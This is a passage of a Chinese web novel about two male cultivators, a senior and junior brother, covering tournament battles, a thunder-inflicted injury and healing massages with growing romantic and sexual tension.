许清浔傻眼,“姬家哪来的家主夫人?” 姬舞明顿时面色大变,“啊,我不小心说漏嘴了!” 祁桓听着,忽然开口:“那便都交代了吧。” 姬舞明有些懊恼,因为这件事算是他们姬家的秘密。他想了想才缓缓道:“家主大人曾有一个出生入死的恋人,对方险些在玄衍秘境身死道消,家主大人为了救他,一离开玄衍秘境就飞奔回家,求家中长辈救活他的恋人。” 听到这里,许清浔的脸色变了。原来那本日事的主人还没有死! 祁桓眼里也闪过一丝诧异。 姬舞明继续道:“但家中长辈并不同意,第一此人没身份没背景,天赋也不突出,只是一介平凡散修而已,根本没必要浪费资源救助,第二,即便是恋人,也是男人,两人无法诞下家族子嗣,救了指不定更加麻烦。” 说着,他面色复杂,语气中透着同情,“但年轻的家主大人怎么可能放弃恋人?为救挚爱,他不惜自杀相逼。我父亲说,年轻的家主大人其实很厌恶家族的束缚,自小便想脱离家族,可是那一天,他却肯为了恋人,出卖自己的自由。” 听着,许清浔皱了皱眉,深有感触。 姬舞明陷入回忆,“最后,家主大人成功了,但由于拖了太长时间,恋人终究还是留下了道伤,虽然活着,但一辈子都离不开冰煞洞天。小时候,父亲偶尔会带我去看望,说实话,我真没想到,平日不苟言笑的家主大人,在面对那个人时,居然可以笑得如此灿烂。” “原来如此。”许清浔点了点头,没想到原著之外,还有这么一则故事。 虽是男同,但也是真爱啊。他非常感动,笑道:“既是这样,放心,我不会说出去的。” 姬舞明松了一口气,目光转向一言不发的祁桓。 祁桓似乎有些走神,停顿了片刻才道:“嗯,我也不会外传。” 姬舞明这才仿佛活了,摸着后脑道:“感谢两位。方才之事多有误会,见谅见谅。” 送走姬舞明之后,法阵之内,只剩下两人。 一人神情肃穆,大概正在沉心修炼。 一人却有些许杂念。 许清浔幽幽地无声自语,“我和师弟……真的看起来很基吗?没有吧。” 他转头看了一眼闭眸修炼的祁桓,许是这个角度的侧颜独具冲击力,他的心跳不由自主地加快了一些。 他忽然又想,“没有吗。” 若是没有,自己为何会对一个男人心动? 啊,等等,我刚刚想了什么,心动?!!魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 第五十一章 居然敢调戏师兄! 许清浔顿时慌了, 神色闪烁,立即转过头,完全不敢看祁桓的方向。 心动?啊哈哈,想什么呢, 那可是你师弟, 而且是一个硬邦邦的男人!他心里高速自语, 试图平息心头的躁动。 再者说,你也考虑一下年龄差吧?啊,修真界的年龄差没有意义?也是哦。 许清浔面色又青又白,坐立不安, 忽然仿佛警惕周围般站了起来, 负手而立, 一副春风和润的模样。 他不知道, 身后之人睁开了眼睛,平淡而深沉地望着他许久。 半个时辰后,四方躁动,杀气蔓延, 到处可见斗法的痕迹,更有人醒目地在空中逃窜,一路上遭到无数人的追杀。 深林之中,雾霭沉沉。 祁桓突然起身,目光凝重地望向远处。 “你想过去吗。” 许清浔开口,他正坐在一块白玉的石板上, 宽袖拂落,清姿月韵。 祁桓点头,“师兄留在此地,我过去吧。” “嗯。”许清浔笑应。 目送祁桓消失在雾霭之中, 许清浔眨了眨眼,“真听话,来之前我跟他说的话,他似乎一句没忘,且都实行了。过去跟各界高手打打也好,先熟悉一下外界的神通路数,他是实战派,不打打杀杀怎么行。” 其次…… 许清浔深深皱眉,他将精神念丝扩散开来,看到了成千上万的对战场面,确实是玄界的修士普遍太弱了,对比其他八界,简直如若天地之别,修为、术法、神通、法宝全线落后,而且最重要的是,实战经验严重不足。玄界虽然也弱肉强食,但竞争的激烈程度毕竟比不上八界的任何一个。 这样下去,只会是被单方面屠杀。这是原著写的。 而他,亦无法改变,更没有理由改变。 “到这里来的人,谁不是抱着杀几万人证道的想法?只不过是玄界修士技不如人罢了。” 真是残酷啊,而至今无法习惯的自己,也真的是……无可救药。 许清浔眼神微暗,与此同时,精神念丝渗入地底灵脉,探知、入侵、掌控了一片法地,进而将其化作自己的道场。 他认知中的斗法与常人不同,常人斗法,无非是遭遇,然后战,凭借个人实力以及手段资源,加之运气以定胜负。他却觉得,这不过是最浅层次的斗法,“天、地、人”中,只取了人?,而真正的斗法,应该是斗人、斗地,甚至斗天! 天乃规则造化,以他目前的境界,还无法触及,但地,他已经触及到了。 表现为——道场。 许清浔淡笑一声,缓缓而起。他所在之地,乃四方周围“风水”最好的宝地,如今他已占据,且化作了自己的道场,这意味着什么呢? 几乎与此同时,八个阵营的阵修同时神色大变。 “怎么可能,竟然有人先我一步看出了此处洞天的阵眼,并且占据了!” “去他大爷的!这世上怎么可能有比我更强的阵修!” “必须杀了他,此子不除,日后必成大患!” 这些地方同时爆发出了杀气。 许清浔摇头,低语道:“我可都听到了,另外,我不是阵修。” 话音未落,森林外爆发出了几道强大的灵力波动,来人皆是八界翘楚,神通广大,强大如斯。 九界天才会的第一关,树秀于林而风摧之。 但有时候,树反而压灭了风。 于是,八方修士睁大了眼睛,不约而同地停下冲势,警惕地盯着眼前人。 “其实,我是一个和平主义者。”青衣修士淡淡地笑,“转头离去,还有活命的机会。” 众人听不懂他的话,只知道他威胁巨大,此时若不联手杀死,日后恐成强敌。 “死吧。”有人突然开口,毫无周旋余地。 下一瞬,战斗爆发,烈火烧到了云天之上。 一场大斗法结束,许清浔没有损失多少,但收获了许多。这么多人上门送资源,不要白不要。 天幕转暗,森林静谧,篝火冉冉。 许清浔数点着东西,忽然转头一看,笑道:“师弟回来了。” 黑衣修士缓缓点头,随意地找了一片地方坐下。 这个男人平时话就少,专心修炼起来,那更是无言,今日估计在对战中领悟到了什么,气息有所变化了。 许清浔欣慰一笑,亦没有打扰。 此处乃龙争虎斗之地,怎容得下三心二意,胡思乱想呢。他心里自语。 然后一晃,便是三年过去。 九界天才会已进展到第三关,死伤者众,陨落的天才无数,而与此同时,也有一些人闯下了赫赫威名,令人又敬又畏。其中,最出名的共有十位,外号分别为万法、屠夫、侠剑、金刚、无形、流云、疯子、六欲、一刀、不死、 他们十位各有艳绝当代的非凡神通,但至今为止,仍有三人神通不明,或者说,至今没人猜透,他们究竟有着怎样的神通。 “万法擅符术,袖藏乾坤万法,取之不尽,用之不竭,从来只见他用符,不见他用神通。” “或许用过呢?” “不知,就连侠剑都逼不出他的神通。” “或许是那种一用就死的神通吧,否则想不通他一定要藏着不用的理由。” 一座客栈内,几个来自不同界域的人正在交谈。 三年的时间说长不长,但已经足够他们分出强弱层次,认清自己的实力,知道能争,什么不能争,当退即退,才是生存的大智慧。 “话说回来,万法跟屠夫是什么关系?”突然有人问。 “这有啥好问的,他们不是师兄弟吗?前几日屠夫被九界天才围杀,是万法出手救了屠夫。要说当时的情况啊,那可真是凶险!屠夫不知做了什么,得罪九界天才,遭联手围杀,而他完全不虚,竟以一己之力独抗!若非体力不支,说不定真能屠完所有敌!” 另有一人接话,“是啊,之后万法强势出手,镇压了所有围杀屠夫的人,那时我们才知道,原来他们关系不浅啊。” 那个提问者挠了挠头,低声道:“这些我都知道,我问的不是这个。” “那是什么?” 众人齐齐望向那人,令其红了脸,支支吾吾说不清楚。 “就、就是……哎!” 下方正聊得火热。许清浔扫了他们一眼。 九界大炼第三关,生存的修士们各自聚集在安全区域内,等待着下一关的开启。而所谓的安全区域,并非只是名头而已,准确地说,它们是一片到处流转着“止戈”神通的特殊地域。 对于许清浔来说,“止戈”则是肉眼可见的规则神通。 他寻思着,若是能摹写出“止戈”的符文就好了,如此一来,他的“万法”就能再多一法,而且还是规则法!厉不厉害你许哥! 可惜,规则的领域还是太高了,目前的他仍旧无法触及,只能想想。 想着,许清浔笑了笑,挽起身边人的手,问道:“师弟,你发现没有,九界大比像什么?” 他身边人神色淡淡,对于他的亲密举动毫不在意,或是习惯,或是纵容。 黑衣修士放下酒杯,沉思片刻才道:“莲花。” 许清浔露出意外之色,“莲花?何以见得。” 祁桓缓缓道:“九界大炼,即是剥花,从外面的花瓣开始,一层层剥落,直到靠近莲心,占领莲心。” 许清浔赞许道:“说得好!确实如此。” 祁桓定定地望着许清浔,“师兄,距离莲心,我们还差几层。” “三层。”许清浔眨了眨眼,“慢慢来,此处为历练世界,造化万千,灵气超绝,是个修炼的好地方。” 这一点,祁桓也十分同意。这里的修炼速度比之外界足足快了六倍有余,更重要的是同层次的高手遍地都是,以道磨道,乃进步的最快方法。 “你上次的伤势都好了吧?”许清浔忽然问出一个很在意的问题。那日祁桓被围攻,他刚好在闭关突破,否则根本不会坐视不理,直到危急才出手。他当时真的是……从来没有那么慌过,或许只差一步,他就会失去对方了。 “都好了。”祁桓点头,目光稍显温和,仿佛在告诉许清浔,不必关于担心。 “你啊,出了那么大的事,居然也不喊我,莫非以为自己能独自扛下来?”许清浔皱了眉。 “不是。”祁桓神色严肃,“当时你在突破,我不能打扰你,万一走火入魔——” 许清浔打断道:“那又如何?即便走火入魔,我也要救下你!” 祁桓瞳孔微缩,坚决道:“我不能接受。” “你……”许清浔气得站起身,面色顿显苍白,身体也不由自主地颤抖起来。 显然是那日的伤复发了。 祁桓面色变了,正欲起身扶许清浔。 许清浔抬手道:“不必,只是一时气到。” “师兄……”祁桓皱眉,双手垂落,似乎压抑着什么情绪。 这样的事并非第一次发生,至少有过三四次了,他们平日鲜少矛盾,唯独在生死关头,反而容易爆发矛盾,而且核心问题从未变过。 无非是——许清浔不喜欢让祁桓涉险,越是生死关头,越要自己顶上。 当然,许清浔早有自省,但他本质是一个很顽固的人,认定之事绝不会退缩避让,认定要保护的人,便是死也要保护到底。 无论发生再多次,他的想法也不会改变。 强忍着五脏六腑的绞痛,许清浔深吸了一口气,故作轻松地笑道:“师弟,没事,都过去了,‘这一瓣’的敌人差不多都杀光了,我们可以安全很长一段时间。” 祁桓闻言,低下了头,“你总是如此。” 许清浔一顿,“总是?我是你师兄,不如此,还能如何?” 祁桓突然抬眸,眼神不似平日温和,反而充满了压迫感。 许清浔愣神,刚一回过神,竟发现自己让对方抱了起来,而且还是公主抱! 好小子,你要造反啊!他正欲抬头教训,没想到对上了一双前所未见的冷戾眸子。 他吓了一跳,忽然间硬气不起来了。 他们回到了法府,这里自然是许清浔平时修炼的地方。 思想混乱之时,祁桓突然停步,将他缓缓放下,动作出奇的轻柔,仿佛时间也跟着缓慢了。 许清浔坐在石床上,颇有些不自在,毕竟自己这么大人,竟让自家师弟抱上床。他老脸一红,心跳不自然地加快,正欲说什么,脑子却一片空白,想不到从哪里说起。 而对方居然没有拉开距离,反而更靠近了,双眸逼到近前,动作极具侵略性。 “师兄。”他轻语,声音低而哑。 许清浔呆住,不自觉地后缩,“何、何事?” “以后,不要那么冒险行吗。”男人居高临下地俯视着,看不出是温柔还是强势。 许清浔心一乱,当即道:“师兄何时冒险了?那只是为了救你。” 男人低眸,眼神透着几分危险,突然向许清浔伸出手。 许清浔硬着头皮,没有后缩。而下一刻,他浑身一颤,眼里写满了难以置信。 对方居然,伸手轻托他的下颌,拇指抚过了他的下唇,动作暧昧得……令人心惊肉跳。 他傻了眼,心想这小子真的造反了,居然敢调戏师兄! “我知道,你不会轻易改变的,除非吃到苦头。” 那男人仿佛在呓语,眼里透露出不容置疑的强硬。 好像,真要让许清浔吃到苦头似的。 许清浔回过神,又惊又怒,“你、你胡说什么呢,别以为师兄宠你,就可以对师兄为所欲为!” 话音未落,对方动作微僵,然而眼神却变得更加危险。他目光垂落,扫过许清浔白皙而精致的锁骨,甚至还继续往下,视线仿佛能够穿透道袍。 不知为何,许清浔竟从中品出了几分情欲的意味,被对方强.奸一般的目光逼迫得生生后退。有那么一瞬间,他居然怀疑,对方的所谓“让自己吃到苦头”,是要强—— 他实在被吓到了,冷汗直流,终于让步道:“好,师兄反省,师兄改正!这、这样行了吧?” 对方沉默不语,双眸暗若深夜,竟微不可察地道出了两个字。 “可惜。” 许清浔目瞪口呆,心想可惜?可惜什么。 但祁桓已经起身,与他拉开了距离,淡淡道:“如此甚好,师兄好好歇息,不要轻易动怒,受伤期间,一切由师弟亲自照顾,可好。” 许清浔下意识地点了点头,直到祁桓离开之后,他才清醒过来。 刚刚到底发生了什么事?还有,我这不争气的心脏,干嘛只是师弟靠近一下就狂跳不止啊。 第52章 第五十二章 你能跟男人做吗。 “等等, 他刚刚是说,要亲自照顾我?” 许清浔面色一白,心想,亲自照顾是怎样照顾?难道是贴身……喂!你个直男想什么鬼呢。 许清浔猛地摇头, 大约是心情起伏太大了, 体内又开始翻江倒海, 灵气大乱,灵脉也都要抽麻了。他额冒冷汗,屈身忍受,全心投入调息, 足足三刻钟, 疼痛才终于减弱。 丹药于事无补, 伤他的是雷属天品法宝, 天雷锏,且法宝的主人是那个雷将,这一代的天界最强者,其本命神通是举世罕见的圣品神通——天罚。 天罚加天雷锏, 属于是强强联合,杀伤力堪称九界一绝,别说金丹修士了,就是元婴修士也不敢生生接其全力一击。 然而,许清浔为救祁桓,法符还没布好便仓皇上阵, 导致…… 他面色仍旧是不自然的苍白,不知想到什么,忽然解开衣襟,露出隐隐浮现出紫色天雷符文的胸口。那符文像钻心的蛇, 不断地产生雷电之力,破坏他的道体。 偏偏他一时半会消除不了它,只能慢慢炼化。为何?盖因天雷破万法,这玩意算是他的死敌,任他手段再多,也消解不了至阳至刚的天雷。 真是,自己豁出半条命救下那家伙,事了居然还“造反”!乱抱师兄也就算了,那个眼神是啥意思,师兄就算受伤了,也不是你可以拿捏的好吧。 不过,他也只是随口抱怨一下,因为他比谁都清楚,他受伤时,祁桓有多紧张,那一瞬间爆发出的杀气令在场所有人如临深渊地狱,之后更是神通暴走,屠杀了所有人。 许清浔只是回忆一下,都难免打了一个冷颤。当时,他甚至怀疑,祁桓是不是偷瞒着他修炼《灭世魔经》,否则怎会有那种实力? 可惜,他当时伤重晕了过去,没来得及问,这些天专注疗伤,也就今天想透透气,那家伙才答应随他出门逛逛,了解了解情况。没想到,还是半路折返回府了。 许清浔眨了眨眼,心里纳闷,却还有闲情分析,“如今我都成名人了,外号万法?那日后再传响亮点,岂不是万法大帝?” 他没忍住笑了,心中甚是满意,虽然他兜里的法符种类倒还没有“万法”这么多,嗯,谁知日后呢。 “至于说我的好师弟,屠夫这个名头……又跟原著一致了。” 想到这,许清浔眼神一暗,虽然他觉得现在的师弟绝不可能成为原著那个变态,但偶尔有一些不太好的迹象,令他些许不安。 “不过,我还是操心他的时候吗?自己的伤都还没好诶。” 许清浔摇摇头,正色道:“先修炼吧,这次的伤势之所以如此严重,根本原因是我的道体不够强韧啊。” 要炼,就炼一个百劫不死的超强道体! 他眼里燃起了熊熊的觉悟,一股脑地炼了下去,然后大约半日,他腰酸腿痛,卧床捶打,直呼要燃尽了。 也是这时,许清浔的视野内多了一道影子。他呆了呆,下意识地抬起头,果不其然对上了一双纯黑的眸子。 黑衣修士依然一副清冷的模样,仿佛一切事都无法令他在意,但对上他的视线后,明显有了情绪波动,眉峰也皱了起来。 许清浔小咳一声,正欲起身,毕竟这番衣衫不整的样子实在有失他作为大哥的面子。 可是,对方的动作比他还快,几乎是瞬间便出现在他身旁,并且冷肃道:“师兄不要动。” 啊? 许清浔正欲问话,下一刻,腰肌当即酥麻了一片。 那个男人居然猝不及防地摸了他的后腰! 那里很敏感的好不好! 他顿时脸色涨红,不知是羞还是愤,正欲翻身骂人。 可是那个男人竟变本加厉,手掌径直往上揉去,掌心蕴着一股温热的灵力,揉得人既敏感又舒服。 他刚要爆发的怒火,莫名被平息了下去,明明内心羞耻无比,身体却十分老实地接受着那个男人的按揉。 那种感觉比他现实试过的精油按摩还要舒服上百倍,对方灵活的五指所到之处,肌肉乃至细胞都无比欢畅。 说不出的爽…… 许清浔险些爽哭了,不由自主地微微颤抖,教训对方、让对方走的话怎么也无法说出口。他甚至觉得道袍十分碍事,让他感受不到那男人真实的掌心温度,否则还能更舒服…… 可恶啊,这家伙哪里学的这种穴位按摩法,怎么能做到手法如此精准、力道如此适当,灵力的使用还如此完美! 若非憋着气,许清浔感觉自己已经开始发出不该发出的声音了…… 三刻钟后,事实证明,那个男人的按摩其实是一种高超的治疗之法。 许清浔体内的伤痛不知不觉间已经大为减弱。此时的他已经完全放弃挣扎,转为坦坦荡荡的享受。 那是当然的,本来就是为救对方受的伤,就该由对方治好。只不过……方法有些羞耻就是了。 他老实地伏卧床上,道袍早已被脱去,露出了一片白得晃眼的后背,还有一截细而秀美的后颈,松软的白发被分在两侧,偶有几缕不听话的发丝垂落到了床脚,画面美得仿佛一幅山海画。 当然,那是三刻钟前的状态,此时,他本该雪白的肌肤片片温红,好似鹅白的雪地上盛开了一簇又一簇的梅花,几缕本应松软的白发因滲汗而紧贴着肌肤,曲折曼妙,勾勒着起伏的身线,甚至落进了腰窝。 实乃一种绝景,令人触目惊心。 祁桓动作一顿,喉结微弱地滚动了一下。 察觉到他的不专注,伏床之人不满地皱了皱眉,浅色的眸子转来,道:“怎么了,不继续吗。” 祁桓不语,细致的动作代替回答。 见他又专心干活了,许清浔得意地扬起眉头,开始理所当然地感受与品味,甚至有余心感慨。 “师弟呀,师兄又对你刮目相看了,你有这么好的技能,干嘛之前藏着不用啊。” 祁桓动作速度不变,低眸道:“其实是才学的。因为你的事,我去寻人问了一些法。” 许清浔大为震惊,内心感动得无以复加,听到没有,是专门为我学的! 哎呀我的好师弟,你真不愧是这世上我最爱的男人。还好我一直相信你是大暖男! “不错不错,虽是初学,但技法纯然,有按摩大帝之姿!” 祁桓一听,不小心增大了力度,两指深陷对方的白肤,揉出了深红的印子。 许清浔当即嘶了一声,皱眉道:“干嘛,我说的不对吗?” 祁桓看着自己造成的痕迹,瞳孔微微缩小,既感到抱歉,又觉得这样才好。就该在这个人身上留下他的痕迹,那种……无法消退的痕迹。 “并非……”他回过神,片刻才回答了许清浔。 许清浔看不到祁桓是什么表情,只觉得对方气息有些不对,似乎是累了,变得粗重了一些。 也是,这种专心致志的灵力按摩不可能轻松,估计相当耗费精力。 “罢了,剩下的我自己来。”说完,他便要起身。 “先不要。”祁桓突然开口,沉声道:“还没结束。” 许清浔眨了眨眼,体贴地柔声道:“但我看你好像累了。” “不累。”祁桓摇头。 这是真话,他目光下移,不知看着哪里,感觉即便做一辈子,都不会累。 “……好吧。” 许清浔只好又乖乖地伏下,片刻后杂念全无,又开始乐呵呵地享受,有时兴致来了,还提起了一些旧事。 比如祁桓曾经中阵法,被倒悬在半空中待他去救,又比如祁桓不小心中了他人的神通,被定在原地挨打待他去救,等等。 他说得津津有味,甚是生动,然而祁桓听着听着,脸色逐渐黑沉得可怕。 越讲越上头的许清浔毫不知觉,还一本正经地说:“就说吧,有师兄的孩子像块宝。” 祁桓冷不丁道:“那都是过去的事了。” 许清浔明媚一笑,转头道:“可是关于你的少年时光,师兄可是一刻都没有忘记哦。” 随意的一笑,随意的一句话,联合起来,却仿佛是世上最凶残的魅惑神通,令祁桓浑身一颤,内心疯狂动摇,甚至产生了一种极黑暗的冲动。 他想要这个总是喊他师弟、当他还是少年的人哭着喊他夫君,就在此处,此时此刻。 许清浔呆了呆,“师弟?” 他疑惑了,因为对方忽然沉默下来,神色仿佛十分凝重。 祁桓神色一变,当即压下躁乱的心思,“我没事,只是走神了。” “走神了?”许清浔有点怀疑,事实上,他还莫名发怵了一下。刚刚是错觉吧?自家师弟是钢铁直男,绝不可能……的吧? “好了,你安心修炼,我在外面等你。” 那个男人收回手,说完便转身离开,好像来此只是办一件公事一样,办完了于是就走了。 许清浔缓缓地坐起身,目瞪口呆。 虽然他早已确定对方是个心口不一的大暖男,但有时候还是会不太明白对方的心思。 “阴晴不定的地方倒还是老样子,啥时候能老实说一句,师兄我爱你呀。” 他喃喃自语,毫不在意身上的道袍垂落,令他几乎赤.裸地暴露在空气中,他的长发早就过了腰线,勉强覆盖住后背,散乱地打落在石床上,但前门显然大开,春色一览无遗。 若是刚刚那个男人还在,看到了这一幕,估计很难忍住不当场气血上涌,且必定会在心里疯狂谴责他师兄的不自觉魅惑行为。 不过,许清浔只发呆了一下,随后便注意到自己衣衫不整,还浑身红印子,好像跟人翻云覆雨大战了一场似的,淫.乱而不自知。 “等等,这是什么比喻啊!” 许清浔面色涨红,当即慌了神,还好没人听得见他的心里话,否则他这脸怕是要丢一辈子了。 “本人一心向道,可从来没有啥莺莺燕燕的想法,严格拒绝黄色废料!” 话虽如此,他作为冲浪人,就算三观再正,也难免会认识到一些不该认识的东西…… 想着,他抬手翻看着自己身后的印子,发现对方其实按揉到了很下方,甚至他的后臀也有些很深的印子。方才光顾着享受,所以没细想,现在一想才发觉不对劲。 虽然都是男人,但此举…… 许清浔面色微变,心慌意乱,“师弟在按摩的时候,应该没想什么吧?” 他却想起了什么,似乎他曾经看过一个新闻,说是一个男人去按摩,按摩师技术很厉害,很快就按得男人舒服到摸不着北,男人非常满意,一直到出去才意识到,自己被侵犯了。 “草!”许清浔大惊,连忙穿好了道袍,里里外外穿了三层!如若一头惊弓之鸟。可是他穿好之后,又大草了一声,“我是有病吗?我在害怕什么?师弟又不可能草.我。” 这些想法太吓人了,他连忙甩出脑子,沉心炼气,沉心炼气。 把邪恶的男同思想驱逐出去,驱逐出去! 次日,祁桓进来,只见青衣修士端坐石床之上,穿得异常厚实,连脖颈都包裹起来了,好像包粽子一样。 祁桓停步,“……” 他并未说什么,许清浔顿时一惊,睁开眼睛看见祁桓,吓得连忙解释道:“这绝不是为了防备你!” 祁桓一愣,眼神似乎十分错愕。 自知说错话了,许清浔干笑一声,“师兄太冷了,所以多添了几件外袍,没事的,不必担心。” 祁桓盯着许清浔,“修士也会怕冷吗。” 话音未落,许清浔的心跳都要静止了。他总不可能说,是因为怕你草我吧。 啊不对,你个蠢货,难道师弟在你心中已经是男同了吗? 许清浔猛地摇头,为了证明似的,当即脱下外袍,甩在一旁,大大方方地说:“一点小事不值得在意,师弟今日来,也是跟上次一样吗?” “嗯。”祁桓点了点头,神色清肃,仿佛一心只为许清浔的身体着想,绝无他念。 许清浔身形微僵,内心险些大哭,果然是他以男同之心度直男之腹,误会、不,污蔑师弟了! 片刻之后,他老老实实地脱衣伏下,身前垫着自己的袍子。 “比昨日好些了吗。” 身后传来淡淡的询问声。 “好些了。多亏了你。” “照顾师兄,是师弟的本分之事。” 许清浔闻言又是心花怒放,身体放松了许多。 第二次,祁桓的技术明显进步了,手法更快更稳,掌心贴上体肤时,那股酥酥麻麻的热令人舒服死了。 半个时辰后,许清浔舒服地闭上了眸子,思绪散开,不知勾连到了什么往事,随口问道:“话说回来,师弟,你以前亲口说过,你不喜欢男人是吧?” 祁桓动作一顿,面色明显变了。 一直到等不到回答,许清浔睁开眼睛,小声地问:“师弟?” “……” 祁桓深吸了一口气,一字一顿、清晰无比地说:“不,我喜欢。” “哈哈,我就说你不喜欢——欸?!” 许清浔心惊胆裂,怀疑了自己的耳朵,小心地再次问道:“你是说,你喜欢男人?” 祁桓沉默了一下,语气低沉道:“心悦之人,无论男女。” 许清浔脑子好似“铛”了一声,发生了核.爆级别的大震动。他沉默了,混乱了,怀疑自己,怀疑人生,怀疑原著,头脑一片空白,忽然忍不住问。 “意思是……你能跟男人做吗。” 他这话,好像无法接受事实、情急之下的胡言乱语,显然想听到的是否定的回答。 然而,身后的男人却没有让他如意,残忍地回答了——“是。” 这一刻,许清浔几乎要裂开了,只觉得与对方接触的每一寸肌肤都在发烧发热,指尖轻碰了一下而已,那里就跟着火了一样,一发不可收拾。 偏偏此时此刻,对方仿佛故意一样,纤细的指尖滑过了他敏.感的后腰,继续往下。 第53章 第五十三章 不喜欢被男人碰。 许清浔脑内警钟大响, 浑身都紧绷起来了。 还好,对方的手指并未顺着中线滑下去,而是移到了左侧,虽然但是, 这也不行吧! 他终于顶不住了, 出声道:“师、师弟, 今日就这样吧,后面的师兄自己来。” 然而,身后之人一声不吭。 沉默,反而带来了更大的压力。 许清浔不知对方此时正看着哪里, 只觉得浑身上下都很不对劲, 有种被对方的目光狠狠侵犯至骨髓里的羞耻感。 更别说, 那个男人的右手仍摁着他的后腰, 掌心隐隐传来比他要高一些的体温。他以前调侃过他们之间的体温差,可此时此刻,这份体温差……仿佛蒙上了一层说不出的暧昧意味。 他不敢想象那份炙热进入身体里面来。 许清浔顿时一个激灵,连忙刹住自己的幻想, 小声地说:“师弟,你听见了吗?不会又走神了吧?” “没有。”男人终于回答,但声音听起来似乎不太高兴。 许清浔心惊肉跳,忽然意识到,这个姿态下,自己的处境十分危险, 首先要害全在对方的掌控范围之内,无论他手段再多,意识再强,都很难逃脱对方的控制。 更别说, 对方的神通还是…… 许清浔神色一变,故作轻松地笑道:“既然没有走神,那今日到此为止吧,多谢师弟。” 说完,他正欲翻身起来,然而对方搭在他后腰的右手忽然用力,不知是不是按了什么穴位,竟令他当场卸力,又伏了回去。 这下,他真的感到了危险,节操的危险! “师弟,你这是何意?”许清浔忍不住问,声音里带上了几分着急。 “没有何意,还未结束,师兄不能老实伏着,待师弟伺候到最后吗。” 明明是一段听不出任何情绪的声音,许清浔却品出了几分压迫感,不知是不是形势压制的缘由。“最后”那个词更是吓得他背脊发凉。 他心想,对方绝对不会是那个意思吧。根据刚刚那番话,祁桓大概率不是男同,只是……男女不忌的意思。对吧? 他当即轻笑一声,笑得有些勉强,“师弟一片孝心,师兄甚是感动,师兄的伤势已经好了,就不劳烦——” 谁知,祁桓打断道:“分明还没有好,你的伤势如何,我怎会不知,你任何时候的身体情况,我都一清二楚。” 许清浔一呆,听到前面,他觉得也是,听到后面,他吓了一跳,后颈滲出了些许冷汗。什么叫任何时候的身体情况都知道啊,你小子默默关心师兄,师兄很高兴,但这不太对劲吧。 没等他想明白,祁桓继续道:“师兄,从刚刚开始,你就在紧张。” 草,你居然知道了!许清浔浑身一颤,冷汗直冒。 与此同时,身后的双手缓缓抚过他的侧腰,动作异常温柔,令人极其舒适。 男人继续道:“我当然知道,因为筋肉的紧绷与舒展,会反应出人的心情。” “原、原来如此,师兄真是傻了,居然忘了常识。”许清浔干笑一声,连忙思考对策。 可是下面的一句话顿时令他提心吊胆。 “师兄怎么了,为何突然紧张,是我……说了什么不该说的话吗。” 对方的声音听似随意,仿佛只是随口一问,却微妙地有种威慑感,好像答错问题,就要送命一样。 许清浔感觉背脊凉飕飕的,人都要麻了,他总不可能说,是因为害怕你要草我吧!虽然可能是我自作多情,但……害怕就是害怕啊。 “没,没什么,就是忽然间……好像有了什么感悟。”许清浔连忙寻找解释。 可惜,今日的祁桓没有平时那么听话、善解人意,居然直接问:“是因为我方才那番话吗。” 声音瞬间低了下来,带着一股说不出的冷意。 许清浔仿佛能感觉到对方的气息,正在下沉、笼罩、支配着这个空间,透着一种恐怖的威慑力,好似一旦他说出不对的话,就会引起非常可怕的事。 “方才的……话?”许清浔吸了口气,似乎打算装傻。 “嗯。因为我说男人也能……所以师兄害怕了吗。”说着,男人忽地停顿了一下,声音低而沉郁:“还是说,师兄其实不喜欢被男人碰。” 许清浔的脑子轰了一下。不是,你、你说得这么直接的吗! 然而,对方的不对劲还不止于此,下一句更是令他颅内大爆炸。 “只有女人才能碰你,男人不能吗。” 空气瞬间凝固,整个空间陷入了死一般的窒息之中。 许清浔头脑一片空白,以至于对方离开之后,他才逐渐地恢复意识,慢吞吞地撑起身体,浅色的双眸中充斥着惊愕与迷茫。 刚刚发生了什么,师弟是生气了吗,为什么生气?就因为……他拒绝了后面的伺候? 不,不对。 许清浔坐起身,任长发垂落,若隐若现地遮蔽身躯,双手扶额,皱紧了眉头。 “……他来照顾我,明明是一件好事来着,为什么会发展成这样。” “男人或是女人……是这个问题吗。别说男女了,除了你,世上谁能这么碰我?你小子真是越来越不听话,也越来越令人搞不明白了。” 他无声自语,无心梳理紊乱的灵气,良久才终于恢复正常面色。 “不管怎样,我都要跟他说清楚才行。虽然……我也确实是直男啊。” 心情矛盾,思绪打结,他隐隐感觉到了什么,但很显然,他的内心在逃避那个可能性,无意识地将其抛在脑后,不想深思,不想面对。 不只是今天而已,恐怕早在一两年前就有这种倾向了。 而这,正是那个男人一反常态的根本原因。 忍耐……总是有极限的。 逼近极限的时候,爆发是必然的。 许清浔神色凝重,低声反复自语,“但是,硬邦邦的男人确实不行啊。” 说着,他又感觉五脏六腑开始疼痛,灵脉都开始错乱了。看来,还是先治好自己再说。 许清浔收敛杂念,当即开始沉心修炼,随后三日过去,他终于炼化了体内大部分的天雷符文,并且感触良多,甚至掌握了天雷符文。 “天雷之力是世间最难掌控的神通之一,我今日将它成功刻入符文之中,似乎算是一种创举?” 他歪了歪头,随手展开新炼成的天雷符,内心甚是满意,“品阶……虽不到天品,但已经超越了地品,算是次天品的级别吧?”符纸拉了一定档次,没办法,就算他有那个水平,现在的符纸也画不了天品的符文。 这三年里,他与祁桓到处历练,常出入各大古迹,得到了一堆上古经书。经书里的符文,能炼的他都试着炼了,如今他的法符储备……大概可以活活炸死一个元婴中期? 许清浔摸着下巴,思考道:“不好说,金丹与元婴天壤之别,金丹还在人的范畴之内,而元婴已经超出了人的范畴,说句夸张的,已经跟人类不是一个种族了,而且最麻烦的并非道体的强大,而是神魂的莫测,就算我炸毁了他们的肉身,他们也能神魂脱逃,有朝一日回来杀我。” “啊,所以才是天雷符的用处!”众所周知,天雷惊魂,神魂最怕的就是天雷神通。 “所以,等到那时,我给他们来个阴的,后手掏出一堆天雷符……哈哈。” 想到这,许清浔没忍住笑了,而过了片刻,他笑容凝固,想起了要紧之事。 “师弟……我该拿你怎么办。” 他眼神一暗,罕见地充满了复杂。不过,要面对的还是要面对! 片刻后,他走出石室,再然后,他面色微变,轻声喊道:“师弟,你在闭关吗?” 没有回应,气息还在,本人却离开了吗? 许清浔顿了顿,眼里流露出了愧疚。这事,是他做得不对。 后来,他去了祁桓的修炼室,里面果然不见人,只有一道神念。 写着——“出门历练,迟归。” 玉佩也感知不到人,估计是去了非常远的地方。 “他不会是在躲我吧。” 许清浔心中纳闷,虽然这种事并非没有发生过,最好是他多想了,可若不是呢? 许清浔当即面色变化,笑不出来。 